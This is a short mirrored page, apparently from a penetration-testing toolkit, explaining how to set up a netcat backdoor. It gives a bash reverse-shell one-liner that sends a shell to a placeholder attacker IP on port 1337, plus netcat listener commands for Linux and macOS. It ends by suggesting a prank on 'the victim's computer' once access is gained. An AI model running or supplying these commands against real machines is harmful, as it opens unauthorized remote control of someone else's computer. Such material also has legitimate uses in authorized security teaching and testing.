mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-04-27 02:59:08 -04:00
359 B
359 B
How to netcat (or a little backdoor)
Create the reverse shell in the port 1337:
$ sh -i >& /dev/tcp/ATTACKERS_IP/1337 0>&1
Now just netcat to it. From a Linux machine:
$ nc -l -p 1337
Or from a Macbook:
$ nc -l 1337
You should get shell. A cute prank is making the victim's computer talk:
$ say Hacked